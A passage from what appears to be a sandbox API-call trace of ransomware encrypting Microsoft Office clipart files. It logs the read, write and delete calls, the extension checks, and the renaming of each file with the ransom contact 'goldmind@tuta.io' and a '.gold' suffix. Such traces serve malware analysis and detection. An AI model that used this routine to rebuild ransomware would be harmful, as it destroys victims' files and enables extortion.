dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.851] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.852] GetLastError () returned 0x0 [0098.852] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xb20, lpOverlapped=0x0) returned 1 [0098.859] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xb30, lpOverlapped=0x0) returned 1 [0098.860] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0098.860] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.860] SetEndOfFile (hFile=0x3a4) returned 1 [0098.860] CloseHandle (hObject=0x3a4) returned 1 [0098.860] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.860] SetEndOfFile (hFile=0x3c4) returned 1 [0098.861] CloseHandle (hObject=0x3c4) returned 1 [0098.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0098.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0098.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.862] lstrlenW (lpString=".doc") returned 4 [0098.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.862] lstrlenW (lpString=".docx") returned 5 [0098.862] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.862] lstrlenW (lpString=".pdf") returned 4 [0098.862] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.862] lstrlenW (lpString=".xls") returned 4 [0098.862] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.862] lstrlenW (lpString=".xlsx") returned 5 [0098.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.862] lstrlenW (lpString=".ppt") returned 4 [0098.862] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".zip") returned 4 [0098.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.863] lstrlenW (lpString=".rar") returned 4 [0098.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".bz2") returned 4 [0098.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".7z") returned 3 [0098.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".dbf") returned 4 [0098.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".1cd") returned 4 [0098.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".jpg") returned 4 [0098.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".doc") returned 4 [0098.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".docx") returned 5 [0098.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0098.863] lstrlenW (lpString=".pdf") returned 4 [0098.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".xls") returned 4 [0098.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0098.863] lstrlenW (lpString=".xlsx") returned 5 [0098.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0098.863] lstrlenW (lpString=".ppt") returned 4 [0098.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".zip") returned 4 [0098.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0098.863] lstrlenW (lpString=".rar") returned 4 [0098.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".bz2") returned 4 [0098.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString=".7z") returned 3 [0098.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".dbf") returned 4 [0098.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".1cd") returned 4 [0098.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0098.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0098.863] lstrlenW (lpString=".jpg") returned 4 [0098.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0098.863] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0098.864] lstrlenW (lpString="HH01461_.WMF") returned 12 [0098.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.864] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5958) returned 1 [0098.864] CloseHandle (hObject=0x3c4) returned 1 [0098.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x20 [0098.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0098.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0098.864] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.864] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0098.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0098.865] GetLastError () returned 0x0 [0098.865] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1746, lpOverlapped=0x0) returned 1 [0098.943] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0098.944] ReadFile (in: hFile=0x3c4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0098.944] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0098.944] SetEndOfFile (hFile=0x3a4) returned 1 [0099.225] CloseHandle (hObject=0x3a4) returned 1 [0099.225] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.225] SetEndOfFile (hFile=0x3c4) returned 1 [0099.227] CloseHandle (hObject=0x3c4) returned 1 [0099.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0099.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.250] lstrlenW (lpString=".doc") returned 4 [0099.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.250] lstrlenW (lpString=".docx") returned 5 [0099.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.250] lstrlenW (lpString=".pdf") returned 4 [0099.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.250] lstrlenW (lpString=".xls") returned 4 [0099.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.250] lstrlenW (lpString=".xlsx") returned 5 [0099.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.250] lstrlenW (lpString=".ppt") returned 4 [0099.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.250] lstrlenW (lpString=".zip") returned 4 [0099.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.250] lstrlenW (lpString=".rar") returned 4 [0099.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.250] lstrlenW (lpString=".bz2") returned 4 [0099.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString=".7z") returned 3 [0099.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".dbf") returned 4 [0099.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".1cd") returned 4 [0099.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".jpg") returned 4 [0099.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".doc") returned 4 [0099.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString=".docx") returned 5 [0099.251] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.251] lstrlenW (lpString=".pdf") returned 4 [0099.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString=".xls") returned 4 [0099.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.251] lstrlenW (lpString=".xlsx") returned 5 [0099.251] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.251] lstrlenW (lpString=".ppt") returned 4 [0099.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".zip") returned 4 [0099.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.251] lstrlenW (lpString=".rar") returned 4 [0099.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString=".bz2") returned 4 [0099.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString=".7z") returned 3 [0099.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".dbf") returned 4 [0099.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".1cd") returned 4 [0099.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 63 [0099.251] lstrlenW (lpString=".jpg") returned 4 [0099.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.252] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.252] lstrlenW (lpString="HH01618_.WMF") returned 12 [0099.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.252] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7296) returned 1 [0099.252] CloseHandle (hObject=0x3ac) returned 1 [0099.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x20 [0099.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.253] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.253] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0099.253] GetLastError () returned 0x0 [0099.253] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1c80, lpOverlapped=0x0) returned 1 [0099.265] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0099.266] ReadFile (in: hFile=0x3ac, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0099.266] WriteFile (in: hFile=0x190, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0099.266] SetEndOfFile (hFile=0x190) returned 1 [0099.266] CloseHandle (hObject=0x190) returned 1 [0099.266] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.266] SetEndOfFile (hFile=0x3ac) returned 1 [0099.268] CloseHandle (hObject=0x3ac) returned 1 [0099.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0099.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf")) returned 1 [0099.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.389] lstrlenW (lpString=".doc") returned 4 [0099.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".docx") returned 5 [0099.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.390] lstrlenW (lpString=".pdf") returned 4 [0099.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".xls") returned 4 [0099.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.390] lstrlenW (lpString=".xlsx") returned 5 [0099.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.390] lstrlenW (lpString=".ppt") returned 4 [0099.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString=".zip") returned 4 [0099.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.390] lstrlenW (lpString=".rar") returned 4 [0099.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".bz2") returned 4 [0099.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".7z") returned 3 [0099.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString=".dbf") returned 4 [0099.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString=".1cd") returned 4 [0099.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString=".jpg") returned 4 [0099.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.390] lstrlenW (lpString=".doc") returned 4 [0099.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".docx") returned 5 [0099.390] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0099.390] lstrlenW (lpString=".pdf") returned 4 [0099.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0099.390] lstrlenW (lpString=".xls") returned 4 [0099.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0099.390] lstrlenW (lpString=".xlsx") returned 5 [0099.390] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0099.390] lstrlenW (lpString=".ppt") returned 4 [0099.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0099.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.391] lstrlenW (lpString=".zip") returned 4 [0099.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0099.391] lstrlenW (lpString=".rar") returned 4 [0099.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0099.391] lstrlenW (lpString=".bz2") returned 4 [0099.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0099.391] lstrlenW (lpString=".7z") returned 3 [0099.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0099.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.391] lstrlenW (lpString=".dbf") returned 4 [0099.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0099.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.391] lstrlenW (lpString=".1cd") returned 4 [0099.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0099.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 63 [0099.391] lstrlenW (lpString=".jpg") returned 4 [0099.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0099.391] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0099.391] lstrlenW (lpString="HH01759_.WMF") returned 12 [0099.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0099.402] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5414) returned 1 [0099.402] CloseHandle (hObject=0x364) returned 1 [0099.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf")) returned 0x20 [0099.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0099.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0099.573] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.573] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0099.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0099.573] GetLastError () returned 0x0 [0099.573] ReadFile (in: 